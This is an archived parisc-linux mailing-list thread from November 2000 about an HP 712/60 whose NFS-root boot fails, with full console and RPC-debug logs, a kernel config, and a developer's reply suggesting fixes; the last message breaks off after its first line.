Nov 15 13:04:47 blacktower bootpd[1323]: extended reply, length=364, options=128
Nov 15 13:04:47 blacktower bootpd[1323]: sending reply (with RFC1048 options)
Nov 15 13:04:47 blacktower bootpd[1323]: setarp 192.168.1.13 - 08:00:09:93:DA:02
Nov 15 13:04:53 blacktower tftpd[1327]: tftpd: read: Connection refused

========== console output (no RPC debug) ==========



----------------------------------------------------------------------------
BootRom Version    1.5
Memory Size:  32 MB
----------------------------------------------------------------------------




(c) Copyright 1990-1993, Hewlett-Packard Company.
All rights reserved

Press <ESCAPE> to stop boot sequence.
Selecting a system to boot.

Booting
palo ipl jkp2866@redtower Wed Nov 15 12:44:21 CST 2000
0/vmlinux 1606438 bytes @ 0x6800
0/palo-cmdline '0/vmlinux HOME=/ TERM=LINUX root=/dev/nfs nfsroot=192.68.1.11:/tftpboot/pancho '
Kernel: partition 0 file /vmlinux
ELF32 executable

Entry 00100000 first 00100000 n 4
Segment 0 load 00100000 size 1097900 mediaptr 0x1000
Segment 1 load 0020e000 size 150520 mediaptr 0x10e000
Segment 2 load 00234000 size 55900 mediaptr 0x133000
Segment 3 load 00244000 size 8192 mediaptr 0x141000
branching to kernel entry point 0x00100000
Set default PSW W bit to 0
PDC Console Initialized
The 32-bit Kernel has started...
Enabled FP coprocessor
Free memory starts at: 0xc026e000
start_parisc(0x504d6c,0x504d6c,0x0,0x0)
PALO command line: 'HOME=/ TERM=LINUX root=/dev/nfs nfsroot=192.68.1.11:/tftpboot/pancho '
PALO initrd 0-0
model   00006000 00000481 00000000 00000000 77564139 00000000 00000004 00000072 00000072
vers    0000000a
CPUID vers 0 rev 0
Searching for devices in PDC firmware... processor hpa 0xfffbe000
  an older box...
Found devices:
1. Gecko GSC Core Graphics (10) at 0xf8000000, versions 0x16, 0x0, 0x85, 0x0, 0x0
2. Gecko Core BA (11) at 0xf0100000, versions 0x16, 0x0, 0x81, 0x0, 0x0
3. Gecko Core SCSI (10) at 0xf0106000, versions 0x16, 0x0, 0x82, 0x0, 0x0
4. Gecko Core Lan (802.3) (10) at 0xf0107000, versions 0x16, 0x0, 0x8a, 0x0, 0x0
5. Gecko Core RS-232 (10) at 0xf0105000, versions 0x16, 0x0, 0x8c, 0x0, 0x0
6. Gecko Core Centronics (10) at 0xf0102000, versions 0x16, 0x0, 0x74, 0x0, 0x0
7. Gecko Audio (10) at 0xf0104000, versions 0x16, 0x0, 0x7b, 0x0, 0x0
8. Gecko Core PC Floppy (10) at 0xf010a000, versions 0x16, 0x0, 0x83, 0x0, 0x0
9. Gecko Core PC Keyboard (10) at 0xf0108000, versions 0x16, 0x0, 0x84, 0x0, 0x0
10. Gecko Core PC Keyboard (10) at 0xf0108100, versions 0x16, 0x0, 0x84, 0x0, 0x0
11. Gecko (712/60) (0) at 0xfffbe000, versions 0x600, 0x0, 0x4, 0x0, 0x81
12. Gecko (1) at 0xfffbf000, versions 0x26, 0x0, 0x9, 0x0, 0x0
That's a total of 12 devices.
CPU(s): 1 x PA7100LC (PCX-L) at 60.000000 MHz
Linux version 2.4.0-test10 (jkp2866@redtower) (gcc version 2.96 20000925 (experimental)) #16 Wed Nov 15 14:01:38 CST 2000
free_bootmem(0x26e400, 0x1d91c00)
pagetable_init
On node 0 totalpages: 8192
zone(0): 4096 pages.
zone(1): 4096 pages.
zone(2): 0 pages.
Kernel command line: HOME=/ TERM=LINUX root=/dev/nfs nfsroot=192.68.1.11:/tftpboot/pancho 
trap_init
Calibrating delay loop... 59.80 BogoMIPS
Memory: 29632k available
Dentry-cache hash table entries: 4096 (order: 3, 32768 bytes)
Buffer-cache hash table entries: 1024 (order: 0, 4096 bytes)
Page-cache hash table entries: 8192 (order: 3, 32768 bytes)
Inode-cache hash table entries: 2048 (order: 2, 16384 bytes)
POSIX conformance testing by UNIFIX
Lasi version 0 at 0xf0100000 found.
Found i82596 at 0xf0107000, IRQ 87
early initialization of device eth0 is deferred
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Starting kswapd v1.8
pty: 256 Unix98 ptys configured
eth0: 82596 at 0xf0107000, 08 00 09 93 DA 02 IRQ 87.
82596.c $Revision: 1.14 $
Serial driver version 5.02 (2000-08-09) with MANY_PORTS SHARE_IRQ SERIAL_PCI enabled
ttyS00 at iomem 0xf0105800 (irq = 90) is a 16550A
NET4: Linux TCP/IP 1.0 for NET4.0
IP Protocols: ICMP, UDP, TCP
IP: routing cache hash table of 512 buckets, 4Kbytes
TCP: Hash tables configured (established 2048 bind 2048)
eth0: link ok.
Sending BOOTP requests.... OK
IP-Config: Got BOOTP answer from 192.168.1.11, my address is 192.168.1.13
Switching from PDC console
kmem_create: Forcing size word alignment - nfs_fh
Looking up port of RPC 100003/2 on 192.68.1.11
RPC: sendmsg returned error 229
portmap: RPC call returned error 229
Root-NFS: Unable to get nfsd port number from server, using default
Looking up port of RPC 100005/2 on 192.68.1.11
RPC: sendmsg returned error 229
portmap: RPC call returned error 229
Root-NFS: Unable to get mountd port number from server, using default
RPC: sendmsg returned error 229
mount: RPC call returned error 229
Root-NFS: Server returned error -229 while mounting /tftpboot/pancho
VFS: Unable to mount root fs via NFS, trying floppy.
VFS: Cannot open root device "nfs" or 02:00
Please append a correct "root=" boot option
Kernel panic: VFS: Unable to mount root fs on 02:00


========== console output (with RPC debug) ==========


----------------------------------------------------------------------------
BootRom Version    1.5
Memory Size:  32 MB
----------------------------------------------------------------------------




(c) Copyright 1990-1993, Hewlett-Packard Company.
All rights reserved

Press <ESCAPE> to stop boot sequence.
Selecting a system to boot.

Booting
palo ipl jkp2866@redtower Wed Nov 15 12:44:21 CST 2000
0/vmlinux 1606438 bytes @ 0x6800
0/palo-cmdline '0/vmlinux HOME=/ TERM=LINUX root=/dev/nfs nfsroot=192.68.1.11:/tftpboot/pancho '
Kernel: partition 0 file /vmlinux
ELF32 executable

Entry 00100000 first 00100000 n 4
Segment 0 load 00100000 size 1097900 mediaptr 0x1000
Segment 1 load 0020e000 size 150520 mediaptr 0x10e000
Segment 2 load 00234000 size 55900 mediaptr 0x133000
Segment 3 load 00244000 size 8192 mediaptr 0x141000
branching to kernel entry point 0x00100000
Set default PSW W bit to 0
PDC Console Initialized
The 32-bit Kernel has started...
Enabled FP coprocessor
Free memory starts at: 0xc026e000
start_parisc(0x504d6c,0x504d6c,0x0,0x0)
PALO command line: 'HOME=/ TERM=LINUX root=/dev/nfs nfsroot=192.68.1.11:/tftpboot/pancho '
PALO initrd 0-0
model   00006000 00000481 00000000 00000000 77564139 00000000 00000004 00000072 00000072
vers    0000000a
CPUID vers 0 rev 0
Searching for devices in PDC firmware... processor hpa 0xfffbe000
  an older box...
Found devices:
1. Gecko GSC Core Graphics (10) at 0xf8000000, versions 0x16, 0x0, 0x85, 0x0, 0x0
2. Gecko Core BA (11) at 0xf0100000, versions 0x16, 0x0, 0x81, 0x0, 0x0
3. Gecko Core SCSI (10) at 0xf0106000, versions 0x16, 0x0, 0x82, 0x0, 0x0
4. Gecko Core Lan (802.3) (10) at 0xf0107000, versions 0x16, 0x0, 0x8a, 0x0, 0x0
5. Gecko Core RS-232 (10) at 0xf0105000, versions 0x16, 0x0, 0x8c, 0x0, 0x0
6. Gecko Core Centronics (10) at 0xf0102000, versions 0x16, 0x0, 0x74, 0x0, 0x0
7. Gecko Audio (10) at 0xf0104000, versions 0x16, 0x0, 0x7b, 0x0, 0x0
8. Gecko Core PC Floppy (10) at 0xf010a000, versions 0x16, 0x0, 0x83, 0x0, 0x0
9. Gecko Core PC Keyboard (10) at 0xf0108000, versions 0x16, 0x0, 0x84, 0x0, 0x0
10. Gecko Core PC Keyboard (10) at 0xf0108100, versions 0x16, 0x0, 0x84, 0x0, 0x0
11. Gecko (712/60) (0) at 0xfffbe000, versions 0x600, 0x0, 0x4, 0x0, 0x81
12. Gecko (1) at 0xfffbf000, versions 0x26, 0x0, 0x9, 0x0, 0x0
That's a total of 12 devices.
CPU(s): 1 x PA7100LC (PCX-L) at 60.000000 MHz
Linux version 2.4.0-test10 (jkp2866@redtower) (gcc version 2.96 20000925 (experimental)) #15 Wed Nov 15 13:48:41 CST 2000
free_bootmem(0x26e400, 0x1d91c00)
pagetable_init
On node 0 totalpages: 8192
zone(0): 4096 pages.
zone(1): 4096 pages.
zone(2): 0 pages.
Kernel command line: HOME=/ TERM=LINUX root=/dev/nfs nfsroot=192.68.1.11:/tftpboot/pancho 
trap_init
Calibrating delay loop... 59.80 BogoMIPS
Memory: 29632k available
Dentry-cache hash table entries: 4096 (order: 3, 32768 bytes)
Buffer-cache hash table entries: 1024 (order: 0, 4096 bytes)
Page-cache hash table entries: 8192 (order: 3, 32768 bytes)
Inode-cache hash table entries: 2048 (order: 2, 16384 bytes)
POSIX conformance testing by UNIFIX
Lasi version 0 at 0xf0100000 found.
Found i82596 at 0xf0107000, IRQ 87
early initialization of device eth0 is deferred
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Starting kswapd v1.8
pty: 256 Unix98 ptys configured
eth0: 82596 at 0xf0107000, 08 00 09 93 DA 02 IRQ 87.
82596.c $Revision: 1.14 $
Serial driver version 5.02 (2000-08-09) with MANY_PORTS SHARE_IRQ SERIAL_PCI enabled
ttyS00 at iomem 0xf0105800 (irq = 90) is a 16550A
NET4: Linux TCP/IP 1.0 for NET4.0
IP Protocols: ICMP, UDP, TCP
IP: routing cache hash table of 512 buckets, 4Kbytes
TCP: Hash tables configured (established 2048 bind 2048)
eth0: link ok.
Sending BOOTP requests.... OK
IP-Config: Got BOOTP answer from 192.168.1.11, my address is 192.168.1.13
Switching from PDC console
kmem_create: Forcing size word alignment - nfs_fh
RPC: registering /proc/net/rpc
RPC: registering /proc/net/rpc/nfs
Looking up port of RPC 100003/2 on 192.68.1.11
RPC:      rpc_getport_external(192.68.1.11, 100003, 2, 17)
RPC:      xprt_create_proto called
RPC:      xprt_create_socket(udp 17)
RPC:      setting up UDP transport...
RPC:      created transport c1fa4000
RPC: creating portmap client for 192.68.1.11 (xprt c1fa4000)
RPC:      allocated buffer c1faa5a0
RPC: creating NULL authenticator for client c1faa5a0
RPC:      allocated buffer c1fe6460
RPC:    0 new task procpid 1
RPC:    0 looking up NULL cred
RPC:      allocated buffer c1fe5500
RPC:    0 rpc_execute flgs 0
RPC:    0 call_reserve
RPC:    0 xprt_reserve cong = 0 cwnd = 256
RPC:    0 reserved req c1fa4064 xid 11582000
RPC:    0 xprt_reserve returns 0
RPC:    0 call_reserveresult (status 0)
RPC:    0 call_allocate (status 0)
RPC:      allocated buffer c1fb3800
RPC:    0 call_encode (status 0)
RPC:    0 marshaling NULL cred c1fe5500
RPC: xdr_encode_mapping(100003, 2, 17, 0)
RPC:    0 call_transmit (status 0)
RPC:    0 xprt_transmit(11582000)
RPC:    0 xprt_receive
RPC:    0 sleep_on(queue "xprt_pending" time 89)
RPC:    0 added to queue c1fa4048 "xprt_pending"
RPC:      xprt_sendmsg(56) = -229
RPC: sendmsg returned error 229
RPC:    0 __rpc_wake_up_task (now 93 inh 0)
RPC:    0 disabling timer
RPC:    0 removed from queue c1fa4048 "xprt_pending"
RPC:      __rpc_wake_up_task done
RPC:      wake_up_next(c1fa4040 "xprt_sending")
RPC:    0 call_status (status -229)
portmap: RPC call returned error 229
RPC:    0 exit() = -229
RPC:    0 release task
RPC:    0 disabling timer
RPC:    0 release request c1fa4064
RPC:      wake_up_next(c1fa4050 "xprt_backlog")
RPC:    0 releasing NULL cred c1fe5500
RPC:      rpc_release_client(c1faa5a0, 1)
RPC: destroying portmap client for 192.68.1.11
RPC: destroying NULL authenticator c1fe6460
RPC:      destroying transport c1fa4000
RPC:      disconnected transport c1fa4000
Root-NFS: Unable to get nfsd port number from server, using default
Root-NFS: Portmapper on server returned 2049 as nfsd port
Looking up port of RPC 100005/2 on 192.68.1.11
RPC:      rpc_getport_external(192.68.1.11, 100005, 2, 17)
RPC:      xprt_create_proto called
RPC:      xprt_create_socket(udp 17)
RPC:      setting up UDP transport...
RPC:      created transport c1fa4000
RPC: creating portmap client for 192.68.1.11 (xprt c1fa4000)
RPC:      allocated buffer c1faa5a0
RPC: creating NULL authenticator for client c1faa5a0
RPC:      allocated buffer c1fe6460
RPC:    1 new task procpid 1
RPC:    1 looking up NULL cred
RPC:      allocated buffer c1fe5500
RPC:    1 rpc_execute flgs 0
RPC:    1 call_reserve
RPC:    1 xprt_reserve cong = 0 cwnd = 256
RPC:    1 reserved req c1fa4064 xid 11582001
RPC:    1 xprt_reserve returns 0
RPC:    1 call_reserveresult (status 0)
RPC:    1 call_allocate (status 0)
RPC:      allocated buffer c1fb3800
RPC:    1 call_encode (status 0)
RPC:    1 marshaling NULL cred c1fe5500
RPC: xdr_encode_mapping(100005, 2, 17, 0)
RPC:    1 call_transmit (status 0)
RPC:    1 xprt_transmit(11582001)
RPC:    1 xprt_receive
RPC:    1 sleep_on(queue "xprt_pending" time 140)
RPC:    1 added to queue c1fa4048 "xprt_pending"
RPC:      xprt_sendmsg(56) = -229
RPC: sendmsg returned error 229
RPC:    1 __rpc_wake_up_task (now 144 inh 0)
RPC:    1 disabling timer
RPC:    1 removed from queue c1fa4048 "xprt_pending"
RPC:      __rpc_wake_up_task done
RPC:      wake_up_next(c1fa4040 "xprt_sending")
RPC:    1 call_status (status -229)
portmap: RPC call returned error 229
RPC:    1 exit() = -229
RPC:    1 release task
RPC:    1 disabling timer
RPC:    1 release request c1fa4064
RPC:      wake_up_next(c1fa4050 "xprt_backlog")
RPC:    1 releasing NULL cred c1fe5500
RPC:      rpc_release_client(c1faa5a0, 1)
RPC: destroying portmap client for 192.68.1.11
RPC: destroying NULL authenticator c1fe6460
RPC:      destroying transport c1fa4000
RPC:      disconnected transport c1fa4000
Root-NFS: Unable to get mountd port number from server, using default
Root-NFS: mountd port is 627
NFS:      nfs_mount(c044010b:/tftpboot/pancho)
RPC:      xprt_create_proto called
RPC:      xprt_create_socket(udp 17)
RPC:      setting up UDP transport...
RPC:      created transport c1fa4000
RPC: creating mount client for 192.68.1.11 (xprt c1fa4000)
RPC:      allocated buffer c1faa5a0
RPC: creating NULL authenticator for client c1faa5a0
RPC:      allocated buffer c1fe6460
RPC:    2 new task procpid 1
RPC:    2 looking up NULL cred
RPC:      allocated buffer c1fe5500
RPC:    2 rpc_execute flgs 0
RPC:    2 call_reserve
RPC:    2 xprt_reserve cong = 0 cwnd = 256
RPC:    2 reserved req c1fa4064 xid 11582002
RPC:    2 xprt_reserve returns 0
RPC:    2 call_reserveresult (status 0)
RPC:    2 call_allocate (status 0)
RPC:      allocated buffer c1fa3000
RPC:    2 call_encode (status 0)
RPC:    2 marshaling NULL cred c1fe5500
RPC:    2 call_transmit (status 0)
RPC:    2 xprt_transmit(11582002)
RPC:    2 xprt_receive
RPC:    2 sleep_on(queue "xprt_pending" time 189)
RPC:    2 added to queue c1fa4048 "xprt_pending"
RPC:      xprt_sendmsg(60) = -229
RPC: sendmsg returned error 229
RPC:    2 __rpc_wake_up_task (now 193 inh 0)
RPC:    2 disabling timer
RPC:    2 removed from queue c1fa4048 "xprt_pending"
RPC:      __rpc_wake_up_task done
RPC:      wake_up_next(c1fa4040 "xprt_sending")
RPC:    2 call_status (status -229)
mount: RPC call returned error 229
RPC:    2 exit() = -229
RPC:    2 release task
RPC:    2 disabling timer
RPC:    2 release request c1fa4064
RPC:      wake_up_next(c1fa4050 "xprt_backlog")
RPC:    2 releasing NULL cred c1fe5500
RPC:      rpc_release_client(c1faa5a0, 1)
RPC: destroying mount client for 192.68.1.11
RPC: destroying NULL authenticator c1fe6460
RPC:      destroying transport c1fa4000
RPC:      disconnected transport c1fa4000
Root-NFS: Server returned error -229 while mounting /tftpboot/pancho
VFS: Unable to mount root fs via NFS, trying floppy.
VFS: Cannot open root device "nfs" or 02:00
Please append a correct "root=" boot option
Kernel panic: VFS: Unable to mount root fs on 02:00

========== linux/.config ==========

#
# Automatically generated make config: don't edit
#
CONFIG_PARISC=y
# CONFIG_UID16 is not set

#
# Code maturity level options
#
CONFIG_EXPERIMENTAL=y

#
# General options
#
# CONFIG_SMP is not set
# CONFIG_KWDB is not set
CONFIG_GSC=y
# CONFIG_IOMMU_CCIO is not set
CONFIG_GSC_LASI=y
CONFIG_PCI=y
CONFIG_GSC_DINO=y
# CONFIG_PCI_LBA is not set

#
# Loadable module support
#
# CONFIG_MODULES is not set

#
# General setup
#
CONFIG_NET=y
CONFIG_SYSVIPC=y
# CONFIG_BSD_PROCESS_ACCT is not set
CONFIG_SYSCTL=y
CONFIG_BINFMT_SOM=y
# CONFIG_BINFMT_ELF is not set
# CONFIG_BINFMT_MISC is not set
# CONFIG_BINFMT_JAVA is not set

#
# Parallel port support
#
# CONFIG_PARPORT is not set

#
# Block devices
#
# CONFIG_BLK_DEV_FD is not set
# CONFIG_BLK_DEV_XD is not set
# CONFIG_PARIDE is not set
# CONFIG_BLK_CPQ_DA is not set
# CONFIG_BLK_CPQ_CISS_DA is not set
# CONFIG_BLK_DEV_DAC960 is not set
# CONFIG_BLK_DEV_LOOP is not set
# CONFIG_BLK_DEV_NBD is not set
# CONFIG_BLK_DEV_RAM is not set
# CONFIG_BLK_DEV_INITRD is not set

#
# Networking options
#
# CONFIG_PACKET is not set
# CONFIG_NETLINK is not set
# CONFIG_NETFILTER is not set
# CONFIG_FILTER is not set
# CONFIG_UNIX is not set
CONFIG_INET=y
# CONFIG_IP_MULTICAST is not set
# CONFIG_IP_ADVANCED_ROUTER is not set
CONFIG_IP_PNP=y
CONFIG_IP_PNP_BOOTP=y
# CONFIG_IP_PNP_RARP is not set
# CONFIG_NET_IPIP is not set
# CONFIG_NET_IPGRE is not set
# CONFIG_INET_ECN is not set
# CONFIG_SYN_COOKIES is not set
# CONFIG_IPV6 is not set
# CONFIG_KHTTPD is not set
# CONFIG_ATM is not set

#
#  
#
# CONFIG_IPX is not set
# CONFIG_ATALK is not set
# CONFIG_DECNET is not set
# CONFIG_BRIDGE is not set
# CONFIG_X25 is not set
# CONFIG_LAPB is not set
# CONFIG_LLC is not set
# CONFIG_NET_DIVERT is not set
# CONFIG_ECONET is not set
# CONFIG_WAN_ROUTER is not set
# CONFIG_NET_FASTROUTE is not set
# CONFIG_NET_HW_FLOWCONTROL is not set

#
# QoS and/or fair queueing
#
# CONFIG_NET_SCHED is not set

#
# SCSI support
#
# CONFIG_SCSI is not set

#
# Network device support
#
CONFIG_NETDEVICES=y
CONFIG_LASI_82596=y

#
# ARCnet devices
#
# CONFIG_ARCNET is not set
# CONFIG_DUMMY is not set
# CONFIG_BONDING is not set
# CONFIG_EQUALIZER is not set
# CONFIG_TUN is not set
# CONFIG_NET_SB1000 is not set

#
# Ethernet (10 or 100Mbit)
#
CONFIG_NET_ETHERNET=y
# CONFIG_NET_VENDOR_3COM is not set
# CONFIG_LANCE is not set
# CONFIG_NET_VENDOR_SMC is not set
# CONFIG_NET_VENDOR_RACAL is not set
# CONFIG_AT1700 is not set
# CONFIG_DEPCA is not set
# CONFIG_HP100 is not set
# CONFIG_NET_ISA is not set
CONFIG_NET_PCI=y
# CONFIG_PCNET32 is not set
# CONFIG_ADAPTEC_STARFIRE is not set
# CONFIG_AC3200 is not set
# CONFIG_APRICOT is not set
# CONFIG_CS89x0 is not set
# CONFIG_DE4X5 is not set
# CONFIG_TULIP is not set
# CONFIG_DGRS is not set
# CONFIG_DM9102 is not set
# CONFIG_EEPRO100 is not set
# CONFIG_LNE390 is not set
# CONFIG_NATSEMI is not set
# CONFIG_NE2K_PCI is not set
# CONFIG_NE3210 is not set
# CONFIG_ES3210 is not set
# CONFIG_RTL8129 is not set
# CONFIG_8139TOO is not set
# CONFIG_SIS900 is not set
# CONFIG_EPIC100 is not set
# CONFIG_SUNDANCE is not set
# CONFIG_TLAN is not set
# CONFIG_VIA_RHINE is not set
# CONFIG_WINBOND_840 is not set
# CONFIG_NET_POCKET is not set

#
# Ethernet (1000 Mbit)
#
# CONFIG_ACENIC is not set
# CONFIG_HAMACHI is not set
# CONFIG_YELLOWFIN is not set
# CONFIG_SK98LIN is not set
# CONFIG_FDDI is not set
# CONFIG_HIPPI is not set
# CONFIG_PPP is not set
# CONFIG_SLIP is not set

#
# Wireless LAN (non-hamradio)
#
# CONFIG_NET_RADIO is not set

#
# Token Ring devices
#
# CONFIG_TR is not set
# CONFIG_NET_FC is not set
# CONFIG_RCPCI is not set
# CONFIG_SHAPER is not set

#
# Wan interfaces
#
# CONFIG_WAN is not set

#
# Character devices
#
# CONFIG_VT is not set
CONFIG_SERIAL=y
CONFIG_SERIAL_CONSOLE=y
CONFIG_SERIAL_GSC=y
CONFIG_SERIAL_EXTENDED=y
# CONFIG_SERIAL_MANY_PORTS is not set
# CONFIG_SERIAL_SHARE_IRQ is not set
# CONFIG_SERIAL_DETECT_IRQ is not set
# CONFIG_SERIAL_MULTIPORT is not set
# CONFIG_HUB6 is not set
# CONFIG_SERIAL_NONSTANDARD is not set
CONFIG_UNIX98_PTYS=y
CONFIG_UNIX98_PTY_COUNT=256

#
# I2C support
#
# CONFIG_I2C is not set

#
# Mice
#
# CONFIG_BUSMOUSE is not set
# CONFIG_MOUSE is not set

#
# Joysticks
#
# CONFIG_JOYSTICK is not set

#
# Input core support is needed for joysticks
#
# CONFIG_QIC02_TAPE is not set

#
# Watchdog Cards
#
# CONFIG_WATCHDOG is not set
# CONFIG_GENRTC is not set
# CONFIG_INTEL_RNG is not set
# CONFIG_NVRAM is not set
# CONFIG_RTC is not set
# CONFIG_DTLK is not set
# CONFIG_R3964 is not set
# CONFIG_APPLICOM is not set

#
# Ftape, the floppy tape device driver
#
# CONFIG_FTAPE is not set
# CONFIG_AGP is not set
# CONFIG_DRM is not set

#
# File systems
#
# CONFIG_QUOTA is not set
# CONFIG_AUTOFS_FS is not set
# CONFIG_AUTOFS4_FS is not set
# CONFIG_ADFS_FS is not set
# CONFIG_ADFS_FS_RW is not set
# CONFIG_AFFS_FS is not set
# CONFIG_HFS_FS is not set
# CONFIG_BFS_FS is not set
# CONFIG_FAT_FS is not set
# CONFIG_MSDOS_FS is not set
# CONFIG_UMSDOS_FS is not set
# CONFIG_VFAT_FS is not set
# CONFIG_EFS_FS is not set
# CONFIG_JFFS_FS is not set
# CONFIG_CRAMFS is not set
# CONFIG_RAMFS is not set
CONFIG_ISO9660_FS=y
# CONFIG_JOLIET is not set
# CONFIG_MINIX_FS is not set
# CONFIG_NTFS_FS is not set
# CONFIG_NTFS_RW is not set
# CONFIG_HPFS_FS is not set
CONFIG_PROC_FS=y
# CONFIG_DEVFS_FS is not set
# CONFIG_DEVFS_MOUNT is not set
# CONFIG_DEVFS_DEBUG is not set
# CONFIG_DEVPTS_FS is not set
# CONFIG_QNX4FS_FS is not set
# CONFIG_QNX4FS_RW is not set
# CONFIG_ROMFS_FS is not set
CONFIG_EXT2_FS=y
# CONFIG_SYSV_FS is not set
# CONFIG_SYSV_FS_WRITE is not set
# CONFIG_UDF_FS is not set
# CONFIG_UDF_RW is not set
# CONFIG_UFS_FS is not set
# CONFIG_UFS_FS_WRITE is not set

#
# Network File Systems
#
# CONFIG_CODA_FS is not set
CONFIG_NFS_FS=y
# CONFIG_NFS_V3 is not set
CONFIG_ROOT_NFS=y
# CONFIG_NFSD is not set
# CONFIG_NFSD_V3 is not set
CONFIG_SUNRPC=y
CONFIG_LOCKD=y
# CONFIG_SMB_FS is not set
# CONFIG_NCP_FS is not set
# CONFIG_NCPFS_PACKET_SIGNING is not set
# CONFIG_NCPFS_IOCTL_LOCKING is not set
# CONFIG_NCPFS_STRONG is not set
# CONFIG_NCPFS_NFS_NS is not set
# CONFIG_NCPFS_OS2_NS is not set
# CONFIG_NCPFS_SMALLDOS is not set
# CONFIG_NCPFS_MOUNT_SUBDIR is not set
# CONFIG_NCPFS_NDS_DOMAINS is not set
# CONFIG_NCPFS_NLS is not set
# CONFIG_NCPFS_EXTRAS is not set

#
# Partition Types
#
# CONFIG_PARTITION_ADVANCED is not set
CONFIG_MSDOS_PARTITION=y
# CONFIG_NLS is not set

#
# Sound Drivers
#
# CONFIG_SOUND is not set

#
# Kernel hacking
#
# CONFIG_MAGIC_SYSRQ is not set




From - Thu Nov 08 21:14:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] nfsroot - 712/60 - RPC - help
Date: Wed, 15 Nov 2000 12:10:36 -0800
Lines: 47
Approved: news@gmane.org
Message-ID: <200011152010.MAA13760@milano.cup.hp.com>
References: <4.3.0.20001115132700.00cc91b0@clavin.cs.tamu.edu>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619292 6272 80.91.229.3 (22 Nov 2014 01:21:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:32 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Jack Perdue <j-perdue@tamu.edu>
Original-X-From: grundler@cup.hp.com  Wed Nov 15 13:08:31 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA01770
	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Nov 2000 13:08:30 -0700
Original-Received: (qmail 6184 invoked by uid 15267); 15 Nov 2000 20:10:35 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6172 invoked from network); 15 Nov 2000 20:10:35 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 15 Nov 2000 20:10:35 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP
	id 582808C6; Wed, 15 Nov 2000 12:10:34 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id MAA13760;
	Wed, 15 Nov 2000 12:10:37 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Wed, 15 Nov 2000 13:53:03 PST."
             <4.3.0.20001115132700.00cc91b0@clavin.cs.tamu.edu> 
Xref: news.gmane.org gmane.linux.ports.parisc:8456

Jack Perdue wrote:

Two changes:

> a) I've tried NFSROOT=192.168.1.11  and NFSROOT=192.168.1.11/tftpboot/vmlinux
>     in palo/Makefile and the results are the same (both suggestions were
>     made to this list at some point)

Try NFSROOT=192.168.1.11/tftpboot/pancho


> ========== blacktower:/etc/bootptab ==========
> pancho:\
>          :hd=/tftpboot:\
>          :bf=vmlinux:\
>          :ht=ether:\
>          :ha=08000993DA02:\
>          :sm=255.255.255.0:\
>          :hn:\
>          :ip=192.168.1.13:\
>          :vm=rfc1048:

This is just a nit:
  bf= might be better named ":bf=lifimage\"

(and you only need one colon between entry's :^)
Copy <sourcedir>/palo/lifimage to /tftpboot/lifimage.

There must be something wrong but I don't see it.

grant


> kmem_create: Forcing size word alignment - nfs_fh
> Looking up port of RPC 100003/2 on 192.68.1.11
> RPC: sendmsg returned error 229
> portmap: RPC call returned error 229

I don't see these types of errors on my config.
Could be related to the misdirected NFSROOT.

grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:14:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jack Perdue <j-perdue@tamu.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Doh!!!  was Re: [parisc-linux] nfsroot - 712/60 - RPC - help
Date: Wed, 15 Nov 2000 14:14:13 -0600
Lines: 19
Approved: news@gmane.org
Message-ID: <4.3.0.20001115140420.00d20820@clavin.cs.tamu.edu>
References: <4.3.0.20001115132700.00cc91b0@clavin.cs.tamu.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416619293 6273 80.91.229.3 (22 Nov 2014 01:21:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:33 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: j-perdue@tamu.edu  Wed Nov 15 13:13:26 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA02147
	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Nov 2000 13:13:25 -0700
Original-Received: (qmail 13511 invoked by uid 15267); 15 Nov 2000 20:15:28 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13291 invoked from network); 15 Nov 2000 20:15:20 -0000
Original-Received: from mail.tamu.edu (128.194.103.38)
  by mailserv2.iuinc.com with SMTP; 15 Nov 2000 20:15:20 -0000
Original-Received: from whitetower.tamu.edu (dyna-0003.vpn.tamu.edu [172.16.32.3])
	by mail.tamu.edu (8.9.3/8.9.3) with ESMTP id OAA25944
	for <parisc-linux@thepuffingroup.com>; Wed, 15 Nov 2000 14:15:13 -0600 (CST)
X-Sender: jkp2866@clavin.cs.tamu.edu
X-Mailer: QUALCOMM Windows Eudora Version 4.3
In-Reply-To: <4.3.0.20001115132700.00cc91b0@clavin.cs.tamu.edu>
Xref: news.gmane.org gmane.linux.ports.parisc:8457


Of course, as soon I collected all that info and sent it I,
